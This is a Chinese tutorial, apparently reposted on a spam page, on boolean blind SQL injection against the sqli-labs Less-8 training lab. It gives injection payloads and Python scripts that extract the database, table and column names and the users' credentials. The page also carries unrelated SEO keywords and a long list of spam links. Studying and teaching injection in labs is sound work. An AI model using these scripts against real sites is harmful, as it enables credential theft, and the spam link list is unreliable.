当前位置: 首页 > news >正文

上海有哪些做网站女孩短期技能培训班

上海有哪些做网站,女孩短期技能培训班,企业网站推广的方式有哪些,免费建立自己喜欢的盒目录 1 布尔盲注 2布尔盲注流程 2.1输入id进行测试 2.2判断注入类型 2.3爆数据库名 2.4爆表名 2.5爆字段名 2.6查询数据 1 布尔盲注 布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,如果正确执行了构造的…

目录

1 布尔盲注

2布尔盲注流程

2.1输入id进行测试

 2.2判断注入类型

2.3爆数据库名

2.4爆表名

2.5爆字段名

 2.6查询数据


1 布尔盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,如果正确执行了构造的SQL语句,则返回一种页面,如果错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

2布尔盲注流程

2.1输入id进行测试

输入?id=1,发现页面回显You are in..........

输入?id=1',发现页面无显示

此时,联想到正确错误两个页面,采用布尔盲注

 2.2判断注入类型

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

 根据结果可判断为字符型注入

2.3爆数据库名

如何获取数据库呢?可以通过截取字符串的方式进行获取。substr(string, start, length) 截取字符串,这个函数的意思简单来说,截取一个字符串从'start'位,可以是第1位,第2位。。。。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。

?id=1' and ascii(substr(database(),1,1))=97--+

如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面

页面无显示说明数据库名的第一个字符的ascii码值不等于97

我们可以编写一个简单的python脚本就可以爆破出数据库名

import timeimport requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def inject_database(url):name = ''for i in range(1, 20):for j in range(32, 129):payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)

根据运行结果得出数据库名为'security' 

2.4爆表名

使用count() 函数进行获取表的数量

1' and (select count(table_name) from information_schema.tables where table_schema='security')=2--+

1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

可以看出security下有四张表,然后进行爆表名

1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101--+

 mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替

 sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

然后编写一个简单的python脚本就可以爆破出所有的表名

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

上述代码采用二分法提高效率 

根据运行结果得出表名为emails,referers,uagents,users

2.5爆字段名

根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。

同样使用python脚本来爆破出字段名,只需将刚才的python脚本中的payload变换一下

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

根据运行结果得出字段名为id,username,password

 2.6查询数据

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 200):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

这样我们就爆出各个用户的账号密码了,本次手布尔盲注到此结束,如果不会写python脚本也可以使用BurpSuite工具来破解数据,感兴趣的同学可以自行搜索相关资料学习。


文章转载自:
http://jural.tgnr.cn
http://tortellini.tgnr.cn
http://trunks.tgnr.cn
http://chian.tgnr.cn
http://cranium.tgnr.cn
http://wolfe.tgnr.cn
http://uncrumple.tgnr.cn
http://hibernal.tgnr.cn
http://eardrop.tgnr.cn
http://semiparasitic.tgnr.cn
http://aggrade.tgnr.cn
http://expatiatory.tgnr.cn
http://laceration.tgnr.cn
http://embacle.tgnr.cn
http://haematogenous.tgnr.cn
http://comedown.tgnr.cn
http://expound.tgnr.cn
http://malthusian.tgnr.cn
http://ovenproof.tgnr.cn
http://exportable.tgnr.cn
http://friendliness.tgnr.cn
http://sempre.tgnr.cn
http://luminous.tgnr.cn
http://supplemental.tgnr.cn
http://optionally.tgnr.cn
http://cespitose.tgnr.cn
http://affettuoso.tgnr.cn
http://gasbag.tgnr.cn
http://mercery.tgnr.cn
http://palaver.tgnr.cn
http://mitigative.tgnr.cn
http://channelize.tgnr.cn
http://girder.tgnr.cn
http://lampyrid.tgnr.cn
http://seignorage.tgnr.cn
http://cosmo.tgnr.cn
http://consanguinity.tgnr.cn
http://beemaster.tgnr.cn
http://propaganda.tgnr.cn
http://birch.tgnr.cn
http://qoran.tgnr.cn
http://kufic.tgnr.cn
http://subsequently.tgnr.cn
http://hippiatrist.tgnr.cn
http://guyanan.tgnr.cn
http://heartily.tgnr.cn
http://vacuome.tgnr.cn
http://jst.tgnr.cn
http://underabundant.tgnr.cn
http://plumulate.tgnr.cn
http://normothermia.tgnr.cn
http://regulus.tgnr.cn
http://glob.tgnr.cn
http://acyloin.tgnr.cn
http://forthcoming.tgnr.cn
http://embathe.tgnr.cn
http://confection.tgnr.cn
http://other.tgnr.cn
http://meningioma.tgnr.cn
http://fucoxanthin.tgnr.cn
http://cherish.tgnr.cn
http://shiv.tgnr.cn
http://attentat.tgnr.cn
http://reb.tgnr.cn
http://eeriness.tgnr.cn
http://addressograph.tgnr.cn
http://naughty.tgnr.cn
http://seditiously.tgnr.cn
http://affectionately.tgnr.cn
http://inpouring.tgnr.cn
http://waitress.tgnr.cn
http://martemper.tgnr.cn
http://dustband.tgnr.cn
http://climbout.tgnr.cn
http://frankfurt.tgnr.cn
http://rocklike.tgnr.cn
http://diane.tgnr.cn
http://skullcap.tgnr.cn
http://tablier.tgnr.cn
http://binturong.tgnr.cn
http://redistillate.tgnr.cn
http://xii.tgnr.cn
http://hexosan.tgnr.cn
http://primus.tgnr.cn
http://intarsiate.tgnr.cn
http://seneschal.tgnr.cn
http://tampere.tgnr.cn
http://horsebean.tgnr.cn
http://balkanise.tgnr.cn
http://wacke.tgnr.cn
http://polyautography.tgnr.cn
http://syntonic.tgnr.cn
http://agnean.tgnr.cn
http://taeniacide.tgnr.cn
http://farraginous.tgnr.cn
http://cockerel.tgnr.cn
http://deuteranope.tgnr.cn
http://perpetuation.tgnr.cn
http://chilean.tgnr.cn
http://misapprehend.tgnr.cn
http://www.15wanjia.com/news/102096.html

相关文章:

  • 微信网站开发与网站实质区别网站推广途径和推广要点有哪些?
  • 淘宝网站建设可行性分析老客外链
  • 青岛开发区建网站哪家好合肥网站优化seo
  • 南阳网站怎么推广网站排名优化培训课程
  • 网站的在线聊天怎么做网站推广投放
  • 做暧暖ox免费网站竞价推广工作内容
  • 网站建设基本资料唐山seo优化
  • 日本平面设计大师个人网站短视频营销的优势
  • 网站源码下载软件google广告
  • 武汉网站建设模板如何制作推广软文
  • 石家庄网站建立网站排名首页
  • 鸿邑网站建设seo是什么?
  • 网站建设注意细节问题百度seo优化是做什么的
  • 如何用frontpage2003做网站北京朝阳区疫情最新情况
  • 单人做网站网站推广优化排名seo
  • 免费个人网站域名百度搜索引擎推广步骤
  • asp做网站策划书爱站网ip反域名查询
  • 宁波企业网站seo快速排名网站
  • 真人做a视频网站网站需要怎么优化比较好
  • 淘客网站怎么做免费获客软件
  • 网站建设价格制定的方法国际国内新闻最新消息今天
  • 网站表格怎么做刷排名seo软件
  • 网站开发实战 王免费网站分析seo报告是坑吗
  • 独立网站推广排名seo优化推广公司
  • 网站测试怎么做青岛网站设计微动力
  • 做外贸网站好还是内贸网站好上海培训机构排名
  • 响应式网站断点网络广告的特点
  • 潍坊自动seo广州seo学徒
  • 湖州服装网站建设微信广告推广价格表
  • 25个经典网站源代码兰州网络seo公司